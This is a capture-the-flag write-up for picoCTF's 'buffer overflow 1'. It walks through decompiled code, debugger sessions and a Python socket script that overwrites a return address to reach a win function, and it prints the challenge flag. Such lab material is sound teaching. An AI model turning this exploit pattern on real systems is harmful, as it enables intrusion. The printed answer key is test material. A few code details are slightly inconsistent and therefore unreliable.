764 words

4 minutes

PicoCTF - buffer overflow 1

2025-10-26

CTF Writeup

binary exploitation

/

medium

/

picoCTF 2022

PicoCTF Writeup - buffer overflow 1#

PicoCTF Challenge: https://play.picoctf.org/practice/challenge/258?category=6&page=3

buffer overflow 1#
Author: Sanjay C / Palash Oswal
Description#
Control the return address
Now we’re cooking! You can overflow the buffer and return to the flag function in the program.
You can view source here. And connect with it using nc saturn.picoctf.net 53903
Hints#
1st - Make sure you consider big Endian vs small Endian.
2nd - Changing the address of the return pointer can call different functions.
Resources:#
Source Code: /vuln.c
Binary: /vuln

1
$ nc saturn.picoctf.net 53903

Decompile#

1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
    __gid_t v4; // [esp+0h] [ebp-Ch]
4

5
    setvbuf(stdout, 0, 2, 0);
6
    v4 = getegid();
7
    setresgid(v4, v4, v4);
8
    puts("Please enter your string: ");
9
    vuln();
10
    return 0;
11
}
12

13
int vuln()
14
{
15
    int return_address; // eax
16
    char s[36]; // [esp+0h] [ebp-28h] BYREF
17
    int savedregs; // [esp+28h] [ebp+0h] BYREF
18

19
    gets(s);
20
    return_address = get_return_address((int)&savedregs);
21
    return printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", return_address);
22
}
23

24
int __usercall get_return_address@<eax>(int a1@<ebp>)
25
{
26
    return *(_DWORD *)(a1 + 4);
27
}
28

29
int win()
30
{
31
    char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
32
    FILE *stream; // [esp+4Ch] [ebp-Ch]
33

34
    stream = fopen("flag.txt", "r");
35
    if ( !stream )
36
    {
37
        printf("%s %s", "Please create 'flag.txt' in this directory with your", "own debugging flag.\n");
38
        exit(0);
39
    }
40
    fgets(s, 64, stream);
41
    return printf(s);
42
}

The code above is the decompiled source code from a binary. Let me summarize it more concisely.

1
int main(int argc, const char **argv, const char **envp)
2
{
3
    gid_t effective_group_id;
4

5
    setvbuf(stdout, NULL, _IONBF, 0);
6
    effective_group_id = getegid();
7
    setresgid(effective_group_id, effective_group_id, effective_group_id);
8
    puts("Please enter your string: ");
9
    vuln();
10
    return 0;
11
}
12

13
int vuln()
14
{
15
    int return_address;
16
    char buffer[36];
17
    int saved_return_address;
18

19
    gets(buffer);
20
    return_address = get_return_address((int)&saved_return_address);
21
    return printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", return_address);
22
}
23

24
uint32_t get_return_address_from_ebp(uint32_t base_pointer)
25
{
26
    return *(uint32_t*)(base_pointer + 4);
27
}
28

29
int win()
30
{
31
    char flag[64];
32
    FILE *stream;
33

34
    stream = fopen("flag.txt", "r");
35
    if ( !stream )
36
    {
37
        printf("%s %s", "Please create 'flag.txt' in this directory with your", "own debugging flag.\n");
38
        exit(0);
39
    }
40
    fgets(flag, 64, stream);
41
    return printf(s);
42
}

Analysis#

This program receives a 36-byte string as input into a buffer in the vuln function and then returns to the stored saved_return_address. However, the saved_return_address cannot normally be modified directly by the user. Inside the function, though, the vulnerable function gets is used to store user input into the buffer. This function is vulnerable to a buffer overflow (BOF). As a result, it is possible to overwrite the saved_return_address and manipulate the return address to jump to the win function. When the win function is reached, the code that provides the flag is already stored there.

1
therustymate-picoctf@webshell:~$ r2 ./vuln_2
2
[0x080490e0]> aaa
3
...
4
[0x080490e0]> afl
5
...
6
0x080491f6    3    139 sym.win
7
...

1
therustymate-picoctf@webshell:~$ file ./vuln_2
2
./vuln_2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=685b06b911b19065f27c2d369c18ed09fbadb543, for GNU/Linux 3.2.0, not stripped

In this program the win function is located at 0x080491f6. Therefore, to execute it in memory you can pack that address using struct.pack. Because the program uses the x86 (32-bit) architecture, you should use '<I' in struct.pack to pack the address.

Now we need to find the offset that will overwrite the saved_return_address. I’ll find the offset using gdb.

1
>>> import string;string.printable
2
'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c'

1
(gdb) run
2
The program being debugged has been started already.
3
Start it from the beginning? (y or n) y
4
Starting program: /home/therustymate-picoctf/vuln_2
5
warning: Error disabling address space randomization: Operation not permitted
6
[Thread debugging using libthread_db enabled]
7
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
8
Please enter your string:
9
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
10
Okay, time to return... Fingers Crossed... Jumping to 0x4c4b4a49
11

12
Program received signal SIGSEGV, Segmentation fault.
13
0x4c4b4a49 in ?? ()
14
(gdb) info registers eip
15
eip            0x4c4b4a49          0x4c4b4a49

gdb shows the EIP register is currently pointing at 0x4c4b4a49. Converting that back into a string yields the following:

1
>>> chr(0x4c)+chr(0x4b)+chr(0x4a)+chr(0x49)
2
'LKJI'

Since the string “LKJI” appears, it indicates that the return address starts from the character ‘I’ and spans 4 bytes. The method to calculate the offset is as follows:

1
>>> len('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'.split('IJKL')[0])
2
44

Therefore, after 44 bytes of characters, we can hijack the return address by using struct.pack("<I", 0x080491f6).

Exploit Script#

1
from argparse import ArgumentParser
2
from socket import *
3
import struct
4
import sys
5
import time
6

7
def craftPayload():
8
    padding = b"A" * 44
9
    return_address = struct.pack("<I", 0x080491f6)
10
    payload = padding + return_address
11
    return payload
12

13
def exploit(target: str, port: int):
14
    payload = craftPayload()
15
    s = socket(AF_INET, SOCK_STREAM)
16
    s.connect((str(target), int(port)))
17
    time.sleep(1)
18
    s.recv(65535)
19
    s.send(payload + b"\n")
20
    s.recv(65535)
21
    print(s.recv(65535).decode())
22
    s.close()
23

24
if __name__ == "__main__":
25
    parser = ArgumentParser(
26
        prog="PicoCTF buffer overflow 1 Exploit",
27
        description="Exploit for the PicoCTF buffer overflow 1 challenge",
28
    )
29
    parser.add_argument(
30
        "-t", "--target",
31
        required=True,
32
        help="set target IP or URL address",
33
    )
34
    parser.add_argument(
35
        "-p", "--port",
36
        required=True,
37
        help="set target port",
38
    )
39

40
    args = parser.parse_args()
41

42
    TARGET_HOST : str       = args.target
43
    TARGET_PORT : int       = int(args.port)
44
    exploit(TARGET_HOST, TARGET_PORT)

Result#

1
therustymate-picoctf@webshell:~$ python3 solve.py saturn.picoctf.net 53903
2
picoCTF{addr3ss3s_ar3_3asy_6462ca2d}

Therefore, the flag is: picoCTF{addr3ss3s_ar3_3asy_6462ca2d}

PicoCTF - buffer overflow 1

https://fuwari.vercel.app/posts/buffer-overflow-1/

Author

The Rusty

Published at

2025-10-26

License

CC BY-NC-SA 4.0

PicoCTF - ropfu

PoC Ring3 RootKit Development

1

PicoCTF Writeup - buffer overflow 1